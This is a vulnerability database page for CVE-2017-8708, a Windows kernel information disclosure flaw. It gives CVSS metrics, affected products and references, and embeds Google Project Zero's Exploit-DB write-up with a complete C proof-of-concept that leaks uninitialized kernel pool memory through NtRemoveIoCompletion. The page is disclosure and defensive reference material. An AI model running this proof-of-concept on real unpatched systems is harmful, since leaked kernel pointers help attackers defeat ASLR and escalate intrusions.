CVE-2017-8708 : Detail

CVE-2017-8708

4.7
/
Medium
A01-Broken Access Control
26.23%V3
Local
2017-09-13
01h00 +00:00
2024-09-16
23h25 +00:00
CVE.org
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CVE Descriptions

The Windows kernel component on Microsoft Windows Server 2008 SP2 and R2 SP1, Windows 7 SP1, Windows 8.1, Windows Server 2012 Gold and R2, Windows RT 8.1, Windows 10 Gold, 1511, 1607, and 1703, and Windows Server 2016 allows an information disclosure vulnerability when it improperly handles objects in memory, aka "Windows Kernel Information Disclosure Vulnerability". This CVE ID is unique from CVE-2017-8679, CVE-2017-8709, and CVE-2017-8719.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-200 Exposure of Sensitive Information to an Unauthorized Actor
The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information.

Metrics

Metrics Score Severity CVSS Vector Source
V3.0 4.7 MEDIUM CVSS:3.0/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

A vulnerability exploitable with Local access means that the vulnerable component is not bound to the network stack, and the attacker's path is via read/write/execute capabilities. In some cases, the attacker may be logged in locally in order to exploit the vulnerability, otherwise, she may rely on User Interaction to execute a malicious file.

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

High

A successful attack depends on conditions beyond the attacker's control. That is, a successful attack cannot be accomplished at will, but requires the attacker to invest in some measurable amount of effort in preparation or execution against the vulnerable component before a successful attack can be expected.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker is authorized with (i.e. requires) privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges may have the ability to cause an impact only to non-sensitive resources.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

None

There is no loss of integrity within the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

None

There is no impact to availability within the impacted component.

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

 [email protected]
V2 1.9 AV:L/AC:M/Au:N/C:P/I:N/A:N [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 42743

Publication date : 2017-09-17 22h00 +00:00
Author : Google Security Research
EDB Verified : Yes

/* Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1269 We have discovered that the nt!NtRemoveIoCompletion system call handler discloses 4 bytes of uninitialized pool memory to user-mode clients on 64-bit platforms. The bug manifests itself while passing the IO_STATUS_BLOCK structure back to user-mode. The structure is defined as follows: --- cut --- typedef struct _IO_STATUS_BLOCK { union { NTSTATUS Status; PVOID Pointer; }; ULONG_PTR Information; } IO_STATUS_BLOCK, *PIO_STATUS_BLOCK; --- cut --- On 64-bit Windows builds, the "Pointer" field is 64 bits in width while the "Status" field is 32-bits wide. This means that if only "Status" is initialized, the upper 32 bits of "Pointer" remain garbage. This is what happens in the nt!NtSetIoCompletion syscall, which allocates a completion packet with a nested IO_STATUS_BLOCK structure (from the pools or a lookaside list), and only sets the .Status field to a user-controlled 32-bit value, leaving the remaining part of the union untouched. Furthermore, the nt!NtRemoveIoCompletion system call doesn't rewrite the structure to only pass the relevant data back to user-mode, but copies it in its entirety, thus disclosing the uninitialized 32 bits of memory to the ring-3 client. The attached proof-of-concept program illustrates the problem by triggering the vulnerability in a loop, and printing out the leaked value. When run on Windows 7 x64, we're seeing various upper 32-bit portions of kernel-mode pointers: --- cut --- Leak: FFFFF80011111111 Leak: FFFFF80011111111 Leak: FFFFF80011111111 Leak: FFFFF80011111111 ... Leak: FFFFF88011111111 Leak: FFFFF88011111111 Leak: FFFFF88011111111 Leak: FFFFF88011111111 ... Leak: FFFFFA8011111111 Leak: FFFFFA8011111111 Leak: FFFFFA8011111111 Leak: FFFFFA8011111111 --- cut --- We suspect that the monotony in the nature of the disclosed value is caused by the usage of a lookaside list, and it could likely be overcome by depleting the list and forcing the kernel to fall back on regular pool allocations. Repeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space. The issue was discovered by James Forshaw of Google Project Zero. */ #include <stdio.h> #include <tchar.h> #include <Windows.h> #include <winternl.h> #pragma comment(lib, "ntdll.lib") extern "C" NTSTATUS __stdcall NtCreateIoCompletion( PHANDLE IoCompletionHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, DWORD NumberOfConcurrentThreads ); extern "C" NTSTATUS __stdcall NtRemoveIoCompletion( HANDLE IoCompletionHandle, PUINT_PTR KeyContext, PUINT_PTR ApcContext, PIO_STATUS_BLOCK IoStatusBlock, PLARGE_INTEGER Timeout ); extern "C" NTSTATUS __stdcall NtSetIoCompletion( HANDLE IoCompletionHandle, UINT_PTR KeyContext, UINT_PTR ApcContext, UINT_PTR Status, UINT_PTR IoStatusInformation ); int main() { HANDLE io_completion; NTSTATUS status = NtCreateIoCompletion(&io_completion, MAXIMUM_ALLOWED, nullptr, 0); if (!NT_SUCCESS(status)) { printf("Error creation IO Completion: %08X\n", status); return 1; } while (true) { status = NtSetIoCompletion(io_completion, 0x12345678, 0x9ABCDEF0, 0x11111111, 0x22222222); if (!NT_SUCCESS(status)) { printf("Error setting IO Completion: %08X\n", status); return 1; } IO_STATUS_BLOCK io_status = {}; memset(&io_status, 'X', sizeof(io_status)); UINT_PTR key_ctx; UINT_PTR apc_ctx; status = NtRemoveIoCompletion(io_completion, &key_ctx, &apc_ctx, &io_status, nullptr); if (!NT_SUCCESS(status)) { printf("Error setting IO Completion: %08X\n", status); return 1; } UINT_PTR p = (UINT_PTR)io_status.Pointer; if ((p >> 32) != 0) { printf("Leak: %p\n", io_status.Pointer); } } return 0; }

Products Mentioned

Configuraton 0

Microsoft>>Windows_10 >> Version -

Microsoft>>Windows_10 >> Version 1511

Microsoft>>Windows_10 >> Version 1607

Microsoft>>Windows_10 >> Version 1703

Microsoft>>Windows_7 >> Version -

Microsoft>>Windows_8.1 >> Version *

Microsoft>>Windows_rt_8.1 >> Version -

Microsoft>>Windows_server_2008 >> Version -

Microsoft>>Windows_server_2008 >> Version r2

Microsoft>>Windows_server_2012 >> Version -

Microsoft>>Windows_server_2012 >> Version r2

Microsoft>>Windows_server_2016 >> Version *

References

http://www.securityfocus.com/bid/100791
Tags : vdb-entry, x_refsource_BID
https://www.exploit-db.com/exploits/42743/
Tags : exploit, x_refsource_EXPLOIT-DB
http://www.securitytracker.com/id/1039325
Tags : vdb-entry, x_refsource_SECTRACK